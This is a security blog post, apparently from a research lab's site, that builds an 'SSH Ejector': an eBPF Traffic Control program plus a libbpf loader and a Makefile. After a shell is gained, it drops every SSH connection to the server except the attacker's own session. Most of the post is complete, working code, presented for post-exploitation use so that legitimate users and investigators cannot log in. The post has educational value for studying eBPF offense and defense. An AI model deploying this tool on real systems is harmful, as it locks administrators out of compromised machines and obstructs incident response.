Offensive eBPF - SSH Ejector

Feb 18, 2026 by Zacharia Mansouri | 97 views

Linux eBPF Offensive Security

https://cylab.be/blog/485/offensive-ebpf-ssh-ejector

Imagine you have established a shell on a Linux server. Suddenly, you see another user log in. You want to kick them out immediately to prevent them from investigating, but you must ensure your own connection remains stable. Traditional tools like iptables can be clumsy for this, often requiring complex rule management or risking a lockout of your own session.

In a previous exploration of offensive eBPF, we looked at how to silently capture input events using Ring Buffers. That was a passive monitoring tool, it observed without interfering. Today, we are going to look at an active side of eBPF. In this post, we will build an SSH Ejector. It uses the Linux Traffic Control (TC) subsystem and eBPF to analyze every network packet. It identifies your specific SSH session, whitelists it, and instantly drops packets for any other SSH connection, effectively locking the door from the inside.

ssh-ejector-libbpf.png

The Mechanism: Traffic Control (TC) and Maps

While our keylogger used kprobes to hook function calls, network filtering works best with the Traffic Control (TC) subsystem. TC allows us to attach BPF programs to the ingress (incoming) and egress (outgoing) paths of a network interface.

Our strategy is simple but effective:

  • Self-identification: The userspace agent reads the environment variable SSH_CONNECTION to find its own Client IP and Source Port.
  • Update Map: It pushes this specific session information into a BPF Map (allowed_session_map).
  • Filter: The kernel program parses every TCP packet.
    • If it is not SSH traffic (port 22), let it pass.
    • If it is SSH traffic, check the map.
    • If the packet belongs to our session, let it pass (TC_ACT_OK).
    • If it belongs to anyone else, drop it immediately (TC_ACT_SHOT).

Part 1: The Kernel Payload (program.bpf.c)

Defining the Map and Headers

We include vmlinux.h for kernel types and define a simple struct session_t to hold the IP and port. We use an ARRAY map with a single entry because we only care about protecting our current session.

The Packet Parser

The eject_others function is attached to the classifier hook. It must manually parse the packet headers: Ethernet $\to$ IP $\to$ TCP. If the packet is malformed or not TCP, we let it pass to avoid breaking the machine’s other functions.

The Logic: Pass or Drop

Here is the critical logic. We retrieve our session info from the map. We then compare the packet’s source/dest IP and port against our allowed session. If it doesn’t match, we return TC_ACT_SHOT, which tells the kernel to drop the packet efficiently.

Part 2: The Agent (program.c)

The userspace agent is responsible for identifying “Who am I?”, loading the BPF program, and attaching it to the network interface.

Identifying the Session

SSH sets the SSH_CONNECTION environment variable, which looks like this: 192.168.1.50 54321 192.168.1.10 22. We parse this to get our IP and source port.

Attaching to Traffic Control

Unlike earlier examples where we used bpf_prog_attach, TC requires a specific setup involving qdiscs (Queueing Disciplines). libbpf provides high-level APIs (bpf_tc_hook_create and bpf_tc_attach) that abstract away the complexities of Netlink messages.

We attach to BPF_TC_INGRESS. While technically we should filter egress too, dropping the incoming packets from other users is usually enough to break their TCP connection instantly. We also include a signal handler (SIGINT) to ensure we detach the filter when we exit, otherwise, the rules might persist and block legitimate traffic after the tool stops.

Testing the Ejector

To test this safely, you will need a Linux VM with an SSH machine running.

  1. Terminal 1 (The Attacker): SSH into the VM. Compile and run the tool, specifying the network interface (e.g., eth0). Note the -E flag for sudo, which preserves the SSH_CONNECTION environment variable. Output: Detected Session: 10.0.2.2:41712 Strict Ejection Active. Only Source Port 41712 from 33685514 is allowed. Press Ctrl+C to stop.

  2. Terminal 2 (The Victim): Try to SSH into the same machine from a different terminal (or even the same machine, as the source port will differ). The connection will hang indefinitely or time out. The packet is dropped before the SSH handshake can complete.

Full Code

The Kernel Payload (program.bpf.c)

#define __TARGET_ARCH_x86
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>
#include <bpf/bpf_tracing.h>

#define TC_ACT_OK 0
#define TC_ACT_SHOT 2
#define ETH_P_IP  0x0800
#define SSH_PORT 22

// Structure to identify a specific session
struct session_t {
    __u32 ip;
    __u32 port; // Using u32 for memory alignment simplicity
};

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 1);
    __type(key, __u32);
    __type(value, struct session_t);
} allowed_session_map SEC(".maps");

SEC("classifier")
int eject_others(struct __sk_buff *skb)
{
    void *data_end = (void *)(long)skb->data_end;
    void *data = (void *)(long)skb->data;
    struct ethhdr *eth = data;

    // Basic Ethernet/IP Checks
    if ((void *)(eth + 1) > data_end) return TC_ACT_OK;
    if (eth->h_proto != bpf_htons(ETH_P_IP)) return TC_ACT_OK;

    struct iphdr *iph = (void *)(eth + 1);
    if ((void *)(iph + 1) > data_end) return TC_ACT_OK;

    if (iph->protocol != IPPROTO_TCP) return TC_ACT_OK;
    struct tcphdr *tcph = (void *)(iph + 1);
    if ((void *)(tcph + 1) > data_end) return TC_ACT_OK;

    // Is this SSH traffic?
    if (tcph->dest != bpf_htons(SSH_PORT) && tcph->source != bpf_htons(SSH_PORT)) {
        return TC_ACT_OK; 
    }

    // Get my Allowed Session info
    __u32 key = 0;
    struct session_t *me = bpf_map_lookup_elem(&allowed_session_map, &key);
    if (!me) return TC_ACT_OK;

    // Strict Checking (IP + Port)
    // Scenario A: Packet FROM me (Ingress) -> Machine
    // Logic: Source IP == Me AND Source Port == My Port
    if (iph->saddr == me->ip && tcph->source == me->port) {
        return TC_ACT_OK;
    }

    // Scenario B: Packet TO me (Egress/Reply) -> Client
    // Logic: Dest IP == Me AND Dest Port == My Port
    if (iph->daddr == me->ip && tcph->dest == me->port) {
        return TC_ACT_OK;
    }

    // If it matches neither, it's an intruder sharing the same IP!
    return TC_ACT_SHOT;
}

char LICENSE[] SEC("license") = "GPL";

The User Code (program.c)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/types.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>
#include "program.skel.h"

struct session_t {
    __u32 ip;
    __u32 port;
};

static volatile bool exiting = false;

// We need these global to clean them up in the signal handler
struct bpf_tc_hook hook;
struct bpf_tc_opts opts;

static void sig_handler(int sig) {
    exiting = true;
}

void get_my_session(struct session_t *s) {
    char *ssh_conn = getenv("SSH_CONNECTION");
    if (!ssh_conn) {
        fprintf(stderr, "Error: SSH_CONNECTION missing (Are you running with sudo -E?).\n");
        exit(1);
    }
    char ip_str[64];
    int port_int;
    sscanf(ssh_conn, "%s %d", ip_str, &port_int);
    printf("Detected Session: %s:%d\n", ip_str, port_int);

    struct in_addr addr;
    inet_pton(AF_INET, ip_str, &addr);
    s->ip = addr.s_addr;
    s->port = htons(port_int);
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        printf("Usage: sudo -E ./program <interface>\n");
        return 1;
    }

    struct program_bpf *skel;
    int err, map_fd, ifindex;
    struct session_t my_session;

    get_my_session(&my_session);

    skel = program_bpf__open();
    if (!skel) return 1;
    if (program_bpf__load(skel)) return 1;

    // Update Map
    __u32 key = 0;
    map_fd = bpf_map__fd(skel->maps.allowed_session_map);
    bpf_map_update_elem(map_fd, &key, &my_session, BPF_ANY);

    // --- TC SETUP ---
    ifindex = if_nametoindex(argv[1]);
    
    // Initialize hook structure
    memset(&hook, 0, sizeof(hook));
    hook.sz = sizeof(hook);
    hook.ifindex = ifindex;
    hook.attach_point = BPF_TC_INGRESS;
    
    // Initialize opts structure
    memset(&opts, 0, sizeof(opts));
    opts.sz = sizeof(opts);
    opts.handle = 1;
    opts.priority = 1;
    opts.prog_fd = bpf_program__fd(skel->progs.eject_others);

    // Create the hook (clsact qdisc) if it doesn't exist
    err = bpf_tc_hook_create(&hook);
    if (err && err != -EEXIST) { // It's okay if it already exists
        fprintf(stderr, "Failed to create TC hook: %d\n", err);
        return 1;
    }

    // DETACH old filter if it exists (Fixes the -17 error)
    // We try to destroy any existing filter with handle=1, priority=1
    // This ensures a clean slate before we attach.
    opts.prog_fd = 0; // cmd specific, detach doesn't need fd
    opts.prog_id = 0; 
    bpf_tc_detach(&hook, &opts);

    // Attach the new filter
    opts.prog_fd = bpf_program__fd(skel->progs.eject_others);
    err = bpf_tc_attach(&hook, &opts);
    if (err) {
        fprintf(stderr, "Failed to attach TC: %d\n", err);
        return 1;
    }

    printf("Strict Ejection Active.\n");
    printf("Only Source Port %d from %u is allowed.\n", ntohs(my_session.port), my_session.ip);
    printf("Press Ctrl+C to stop.\n");

    signal(SIGINT, sig_handler);
    signal(SIGTERM, sig_handler);

    while (!exiting) {
        sleep(1);
    }

    // --- CLEANUP ON EXIT ---
    printf("\nCleaning up TC filter...\n");
    opts.prog_fd = 0;
    opts.prog_id = 0;
    err = bpf_tc_detach(&hook, &opts);
    if (err) {
        fprintf(stderr, "Failed to detach TC: %d\n", err);
    }

    // Optional: Destroy the hook entirely (removes clsact)
    // bpf_tc_hook_destroy(&hook);

    program_bpf__destroy(skel);
    return 0;
}

Build System (Makefile)

# Compiler settings
BPF_CLANG=clang

# Kernel side flags
BPF_CFLAGS=-g -O2 -target bpf

# Userspace side flags
# Note: -std=gnu99 to prevent C23 symbol issues (like __isoc23_strtoull)
USER_CFLAGS=-g -O2 -std=gnu99

# --- LIBBPF CONFIG ---
# Point to the library we built locally
LIBBPF_DIR = ./libbpf/build
LIBBPF_OBJ = $(LIBBPF_DIR)/libbpf.a

# Include the headers we installed into libbpf/build/usr/include
# We also include uapi for kernel definitions if needed
INCLUDES = -I$(LIBBPF_DIR)/usr/include -I./libbpf/include/uapi

# Link Statically: Bundles libbpf into the binary
STATIC_LDFLAGS = -static -Wl,--whole-archive $(LIBBPF_OBJ) -Wl,--no-whole-archive -lelf -lz

# Project Name
NAME=program
BPFOBJ=$(NAME).bpf.o
SKELETON=$(NAME).skel.h
EXEC=$(NAME)

# --- TARGETS ---

# Build User-Space Executable
$(EXEC): $(SKELETON) $(NAME).c
	$(BPF_CLANG) $(USER_CFLAGS) $(INCLUDES) $(NAME).c $(STATIC_LDFLAGS) -o $(EXEC)

# Build BPF Kernel Object
$(BPFOBJ): $(NAME).bpf.c vmlinux.h
	$(BPF_CLANG) $(BPF_CFLAGS) $(INCLUDES) -c $(NAME).bpf.c -o $(BPFOBJ)

# Generate vmlinux.h (The "All-in-One" Kernel Header)
vmlinux.h:
	bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

# Generate Skeleton Header (Bridge between Kernel and User)
$(SKELETON): $(BPFOBJ)
	bpftool gen skeleton $(BPFOBJ) > $(SKELETON)

clean:
	- rm -f *.o *.skel.h vmlinux.h $(EXEC)

Conclusion

This project demonstrates the extreme versatility of eBPF. While usually championed for observability, tools like this show its potential for Active Defense (and offense). By combining user-space intelligence (parsing SSH env vars) with kernel-space enforcement (TC hooks), we created a highly resilient access control mechanism that functions seamlessly without restarting network services or modifying firewalls.

This blog post is licensed under CC BY-SA 4.0

This website uses cookies. More information about the use of cookies is available in the cookies policy.
Accept